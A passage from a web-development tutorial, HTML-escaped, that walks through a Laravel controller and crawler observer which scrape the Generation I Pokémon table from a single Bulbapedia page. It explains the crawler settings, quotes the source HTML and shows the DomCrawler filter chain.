    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'pokemon.generation'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we visit now &lt;code&gt;ourLaravelScraper.test/pokemon/generation&lt;/code&gt; we'll see the message from the controller. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❗️ This approach could certainly be more dynamic, but since this is just an introduction, I'm aiming to keep things as relaxed and straightforward as possible. The goal here is not to create an overly complex 'monster' of an article. It's already quite comprehensive as it stands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To bring everything together and dive into the most exciting part of our article, let's now activate the observer class we created earlier. This is done by invoking the observer within our controller, which will initiate the scraping process. Here’s how we set up the PokemonGenerationScraperController to handle the scraping:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PokemonGenerationScraperController&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Controller&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;__invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="nc"&gt;Crawler&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setCrawlObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;PokemonGenerationScraperObserver&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setMaximumDepth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setTotalCrawlLimit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;startCrawling&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You might have noticed that we used here some extra options for the scrape to work as we wanted. Well, let me analyze this a bit. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;setCrawlObserver()&lt;/code&gt;: Instantiating the crawler. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;setMaximumDepth(0)&lt;/code&gt;: By default, the crawler continues until it has crawled every page of the supplied URL. We want to scrape, so we need only the first URL that we give. Therefore &lt;strong&gt;0&lt;/strong&gt;. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;setTotalCrawlLimit(1)&lt;/code&gt;: This limit defines the maximal count of URLs to crawl&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;startCrawling($url)&lt;/code&gt;: "plays crawling by linkin park." Kidding, it runs our entire scraping/crawling process. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now if we visit again the link that triggers our scraper we should see a blank white page but our &lt;code&gt;laravel.log&lt;/code&gt; should now contain the following result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[2024-04-19 18:28:46] local.INFO: willCrawl {"url":{"GuzzleHttp\\Psr7\\Uri":"https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number"}} 
[2024-04-19 18:28:46] local.INFO: Crawled: https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number  
[2024-04-19 18:28:47] local.INFO: Finished crawling  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means that the crawler worked perfectly and logged everything in the right order! We are ready to start digging for poké data! &lt;/p&gt;

&lt;h2&gt;
  
  
  Extracting Pokemon Generations from Bulbapedia
&lt;/h2&gt;

&lt;p&gt;Within the &lt;code&gt;PokemonGenerationScraperObserver&lt;/code&gt;, the crawled method, which accepts a &lt;code&gt;ResponseInterface $response&lt;/code&gt; parameter, is particularly critical. This method receives the full response from the website we are targeting for scraping. It is here that we should process the data, extracting and returning the specific results we need.&lt;/p&gt;

&lt;p&gt;The tricky part here is that every website is a unique snowflake in terms of its structure, so we need to channel our inner Sherlock Holmes to closely examine the HTML code we're scraping. It's essential to understand its intricate layout before we decide on the best strategy to unearth the data treasures hidden within.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 Engaging in web scraping isn't just about collecting data—it's also an excellent exercise in honing your coding skills. Regularly scraping websites trains your eye to look at code more critically and focused, enhancing your ability to quickly identify relevant patterns and structures. It's like a workout for your developer brain, making you sharper and more adept at navigating complex code environments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let's take a look at the part of the code that interests us.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;\"mw-headline\"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;\"Generation_I\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;\"/wiki/Generation_I\"&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;\"Generation&lt;/span&gt; &lt;span class="na"&gt;I&lt;/span&gt;&lt;span class="err"&gt;\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Generation I&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;table&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;\"roundy\"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"margin:auto;&lt;/span&gt; &lt;span class="na"&gt;border:&lt;/span&gt; &lt;span class="err"&gt;2&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt; &lt;span class="na"&gt;solid&lt;/span&gt; &lt;span class="na"&gt;#E72838&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;background:&lt;/span&gt; &lt;span class="na"&gt;#E72838&lt;/span&gt;&lt;span class="err"&gt;\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;tbody&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;th&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"background:&lt;/span&gt; &lt;span class="na"&gt;#71C671&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;border-top-left-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-moz-border-radius-topleft:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-webkit-border-top-left-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-khtml-border-top-left-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-icab-border-top-left-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-o-border-top-left-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Ndex
      &lt;span class="nt"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;th&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"background:&lt;/span&gt; &lt;span class="na"&gt;#71C671&lt;/span&gt;&lt;span class="err"&gt;\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;MS
      &lt;span class="nt"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;th&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"background:&lt;/span&gt; &lt;span class="na"&gt;#71C671&lt;/span&gt;&lt;span class="err"&gt;\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Pokémon
      &lt;span class="nt"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;th&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"background:&lt;/span&gt; &lt;span class="na"&gt;#71C671&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;border-top-right-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-moz-border-radius-topright:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-webkit-border-top-right-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-khtml-border-top-right-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-icab-border-top-right-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="na"&gt;-o-border-top-right-radius:&lt;/span&gt; &lt;span class="err"&gt;5&lt;/span&gt;&lt;span class="na"&gt;px&lt;/span&gt;&lt;span class="err"&gt;;\"&lt;/span&gt; &lt;span class="na"&gt;colspan=&lt;/span&gt;&lt;span class="s"&gt;\"2\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Type
      &lt;span class="nt"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;tr&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"background:#FFF\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;td&lt;/span&gt; &lt;span class="na"&gt;rowspan=&lt;/span&gt;&lt;span class="s"&gt;\"1\"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"font-family:monospace,monospace\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;#0001&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;td&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;\"/wiki/Bulbasaur_(Pok%C3%A9mon)\"&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;\"Bulbasaur\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;\"Bulbasaur\"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;\"https://archives.bulbagarden.net/media/upload/thumb/f/fb/0001Bulbasaur.png/70px-0001Bulbasaur.png\"&lt;/span&gt; &lt;span class="na"&gt;decoding=&lt;/span&gt;&lt;span class="s"&gt;\"async\"&lt;/span&gt; &lt;span class="na"&gt;loading=&lt;/span&gt;&lt;span class="s"&gt;\"lazy\"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;\"70\"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;\"70\"&lt;/span&gt; &lt;span class="na"&gt;srcset=&lt;/span&gt;&lt;span class="s"&gt;\"https://archives.bulbagarden.net/media/upload/thumb/f/fb/0001Bulbasaur.png/105px-0001Bulbasaur.png&lt;/span&gt; &lt;span class="err"&gt;1.5&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="na"&gt;https:&lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="na"&gt;archives.bulbagarden.net&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;media&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;upload&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;thumb&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;f&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;fb&lt;/span&gt;&lt;span class="err"&gt;/0001&lt;/span&gt;&lt;span class="na"&gt;Bulbasaur.png&lt;/span&gt;&lt;span class="err"&gt;/140&lt;/span&gt;&lt;span class="na"&gt;px-0001Bulbasaur.png&lt;/span&gt; &lt;span class="err"&gt;2&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="err"&gt;\"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;td&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;\"/wiki/Bulbasaur_(Pok%C3%A9mon)\"&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;\"Bulbasaur&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="na"&gt;Pokémon&lt;/span&gt;&lt;span class="err"&gt;)\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Bulbasaur&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;small&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;td&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"background:#3FA129\"&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;\"center\"&lt;/span&gt; &lt;span class="na"&gt;colspan=&lt;/span&gt;&lt;span class="s"&gt;\"1\"&lt;/span&gt; &lt;span class="na"&gt;rowspan=&lt;/span&gt;&lt;span class="s"&gt;\"1\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;\"/wiki/Grass_(type)\"&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;\"Grass&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="err"&gt;)\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"color:#FFFFFF\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Grass&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;td&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"background:#9141CB\"&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;\"center\"&lt;/span&gt; &lt;span class="na"&gt;colspan=&lt;/span&gt;&lt;span class="s"&gt;\"1\"&lt;/span&gt; &lt;span class="na"&gt;rowspan=&lt;/span&gt;&lt;span class="s"&gt;\"1\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;\"/wiki/Poison_(type)\"&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;\"Poison&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="err"&gt;)\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;\"color:#FFFFFF\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Poison&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
   ... 
   ...
   &lt;span class="nt"&gt;&amp;lt;/table&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the structure we're examining, each Pokémon generation begins with an H3 tag bearing its name, followed by a table containing all the data for that generation's Pokémon. From the code snippet provided, you can spot the first Pokémon of the first generation—none other than the mighty Bulbasaur, arguably the best strategic starter in the games. 🤓&lt;/p&gt;

&lt;h3&gt;
  
  
  ⼻First Step: Fetch the entire Generations data
&lt;/h3&gt;

&lt;p&gt;So that should make us think. We can aim to select the H3 tag that specifically contains the text "Generation I," and then focus on extracting the first table that follows this heading. This approach ensures we're accurately pinpointing and retrieving data specifically related to Generation I Pokémon. How would we do that?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;crawled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="kt"&gt;UriInterface&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;ResponseInterface&lt;/span&gt; &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;?UriInterface&lt;/span&gt; &lt;span class="nv"&gt;$foundOnUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;?string&lt;/span&gt; &lt;span class="nv"&gt;$linkText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Crawled: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nv"&gt;$crawler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Crawler&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getBody&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

        &lt;span class="nv"&gt;$tableHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$crawler&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'h3'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Crawler&lt;/span&gt; &lt;span class="nv"&gt;$node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;str_contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$node&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;'Generation I'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;nextAll&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'table'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;first&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$tableHtml&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What did we do here exactly?&lt;/p&gt;

&lt;h4&gt;
  
  
  Creating a Crawler Instance
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;$crawler = new Crawler((string) $response-&amp;gt;getBody());&lt;/code&gt;&lt;/strong&gt;: Initializes a new instance of &lt;code&gt;Symfony\Component\DomCrawler\Crawler;&lt;/code&gt; with the HTML content of the crawled page. This Crawler object allows you to navigate and search through the HTML structure of the page.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Extracting Specific Data
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;$tableHtml = $crawler-&amp;gt;filter('h3')...&lt;/code&gt;&lt;/strong&gt;: This chain of methods is used to find and extract specific data from the page:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;.filter('h3')&lt;/code&gt;&lt;/strong&gt;: Filters the HTML elements to only include H3 tags.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;.reduce(function (Crawler $node) { ... })&lt;/code&gt;&lt;/strong&gt;: Further filters these H3 tags to only keep those that contain the text 'Generation I'.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-&amp;gt;nextAll()-&amp;gt;filter('table')-&amp;gt;first()&lt;/code&gt;&lt;/strong&gt;: Selects all sibling elements following the filtered H3, narrows them down to 'table' tags, and picks the first table.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-&amp;gt;html();&lt;/code&gt;&lt;/strong&gt;: Retrieves the HTML content of this first table.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  ⼻Second Step: Create a Collection with the data of each Pokemon
&lt;/h3&gt;

&lt;p&gt;Our next step is to organize the fetched data into a structured collection. This process involves parsing the raw data to extract individual Pokémon details and then systematically grouping these details into a manageable format. By creating a collection, we facilitate easier access and manipulation of the data, which is essential for any further analysis, display, or integration into applications.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;        &lt;span class="nv"&gt;$genTableCrawler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$crawler&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'h3'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Crawler&lt;/span&gt; &lt;span class="nv"&gt;$node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;str_contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$node&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;'Generation I'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;nextAll&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'table'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;first&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

